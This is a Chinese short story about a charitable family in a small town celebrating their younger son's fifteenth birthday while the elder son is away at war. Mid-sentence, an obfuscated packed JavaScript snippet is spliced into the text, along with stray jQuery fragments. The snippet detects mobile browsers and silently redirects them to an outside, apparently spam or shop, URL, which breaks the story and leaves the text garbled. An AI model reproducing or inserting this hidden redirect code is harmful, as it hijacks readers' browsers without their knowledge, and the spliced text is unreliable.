那个年代，温饱是最重要的。小镇上只有张家不会因此烦恼。张家是外来定居的，因为心善好施，镇上的人逐渐接纳了他们。
张家初来时，镇上的老辈人背地里议论过——这般齐整的一家人，为何偏选这偏僻小镇落脚？张老太爷不辩解什么，只默默在镇东头置了宅院，开了春，雇人疏浚了淤塞多年的引水渠。盛夏暴雨倾盆，别处的田都淹了，唯独青石镇因水道通畅，庄稼保住大半。自那以后，镇上人看张家的眼神才软和下来，渐渐有了走动。只是张家究竟从何处来、为何而来，仍是茶余饭后解不开的谜。
镇上人都知道张家有位小少爷，却鲜有人见过真容。只偶尔有路过张家后巷的人，听见墙内传来琅琅书声或箭矢破风的轻响，才恍惚想起：张老太爷那位藏着养着的小儿子，原来已到了能文能武的年纪。琴棋书画骑射都由张家在京都请来的，据说张夫人怀孕后就着手准备了。
其实张家还有一个大儿子，曾是镇上出了名的学者，匿名偷跑去私塾教导孩童数学和武术，深受镇上邻里的喜爱。由于三个月未曾踏足家门一步，被张老太爷寻回，镇上的人才知道他是张家的。
后来由于对侵略者的痛恨，他偷跑参了军，偶有军中同乡捎来模糊口信，只说人在北地，一切安好，却始终不见一封亲笔书信。这似有若无的音讯，反让张家人的心悬得更高。这件事对张家是一个打击，让他们沉寂了许久。
这天，张家照常布施。除了米粥菜蔬，每人竟还得了一个红蛋。猜测议论多时未能猜出结果，众人推举镇上的大家长前去了解情况——对于喜事，镇上百姓很乐于恭祝的。那一天，张家小少爷十五岁了。
红蛋在粗布衣襟里滚着温乎乎的热气。镇民们攥着这抹意外的红，交头接耳声嗡嗡响成一片，像煮开的粥。最终，德高望重的陈老秀才被推了出来。他整了整洗得发白的长衫，叩响了张家那扇常虚掩着的黑漆门。
门开了，是张老太爷自己。他今日穿了件暗紫团花缎袄，脸上透着久违的光亮，像梅雨天里忽然晾出的棉絮。
“陈老先生，”他拱手，眼角皱纹堆起笑意，“可是为这红蛋？家里小儿今日行冠礼，虚岁十五了。一点乡俗，同喜，同喜。”
消息风似的卷过石板路。不一会儿，张家门庭前便热闹起来。镇民们不再拘谨，篮里揣着攒下的干枣、新染的粗布，甚至孩童在溪边捡的奇巧石子，都往门房里送。张家也不推辞，让下人搬出几条长凳，檐下摆开茶水。
正热闹着，后院月洞门里走出个人来。少年身量已显，穿着八成新的藏青学生装，短发齐整，只是脚下那双锃亮皮鞋，踩在青苔上略显生疏。他手里攥着本书，见这许多人，脚步顿住了，耳根微微发红------这便是那位只闻其名、未见其面的小少爷了。
院里静了一霎。镇民们的目光齐刷刷投过去，带着好奇的打量。这便是张老太爷藏了十五年的小儿子？模样倒是清俊，只是瞧着有些腼腆。
"静轩，来。"张夫人从后头轻推他一把，眼里是藏不住的笑与泪，又低声提醒道：“叫叔伯婶娘。”
小少爷定了定神，上前几步，作了揖，嗓音清亮却还带点稚气："各位乡邻安好。"举止是京都先生们调教出的规矩，可眼神扫过孩子们手里脏兮兮的陀螺时，那好奇劲儿又透了底。
陈老秀才呷了口茶，对张老太爷笑道：“老太爷好福气。大公子当年……”话出口才觉失言，忙住了嘴。
院里静了一瞬。
张老太爷望着檐角一块明瓦，那里透下的光照着浮尘缓缓舞动。“老大若在，该是……”他摆摆手，没再说下去，只转头看向小儿子，目光复杂。
不知哪个孩子嚷了句：“小少爷，你也会打
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140643|196314||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拳么？以前大少爷教过我们马步！”
少年眼睛倏地亮了，书往石凳上一搁：“拳脚略知一二，但我会射箭。”他性子到底是活泼的，转身便往院里跑，边跑边喊，“我爹上月送我的弓！”
弓是湘竹做的，刷了清漆，弦绷得紧。他立在院中，对着老槐树上悬的一枚铜钱，拉弓的姿态竟有模有样。阳光透过叶隙，在他肩头跳跃。
箭离弦时，偏了寸许，擦着铜钱边，“笃”一声钉进树干。少年懊恼地跺了下脚，崭新皮鞋沾了泥。众人却轰然叫起好来——在这小镇，能拉开弓已是了不得。
张老太爷看着小儿子捡箭的背影，忽然对陈老秀才低声道：“这世道，念书、习武，不知哪样才能真正护得他周全。”声音里带着过来人的疲惫，与一丝难以言喻的忧虑。
傍晚，贺客散尽。
小少爷帮着收拾散落的红蛋壳，忽然抬头：“爹，大哥用的，也是这把弓么？”
张父正弯腰拂去石凳上的灰，动作停了停。“不是，”他说，“你哥那会儿，用的是我年轻时在关外得的牛角弓。”他直起身，望向西边天际最后一抹暗红，“那弓……他带走了。”
少年“哦”了一声，低头继续捡。一片蛋壳捏在指尖，映着将尽的天光，红得像要滴出血来。
夜里起了风，吹得书房窗纸噗噗作响。
少年在灯下临帖，写着写着，笔尖一顿，在宣纸上洇开一团墨。他忽然想起日间那射偏的一箭，想起父亲眼中深沉的忧虑，也想起几年未见的大哥——那个据说能百步穿杨，却消失在战火里的人，至今未给家里捎过一字半句。
他吹灭灯，在黑暗里坐了很久。院外，小镇已沉入梦乡，只有更夫梆子声，一声，又一声，稳稳地响在深巷里。
远处，隐约有火车汽笛传来，悠长，恍惚，像另一个世界的呼吸。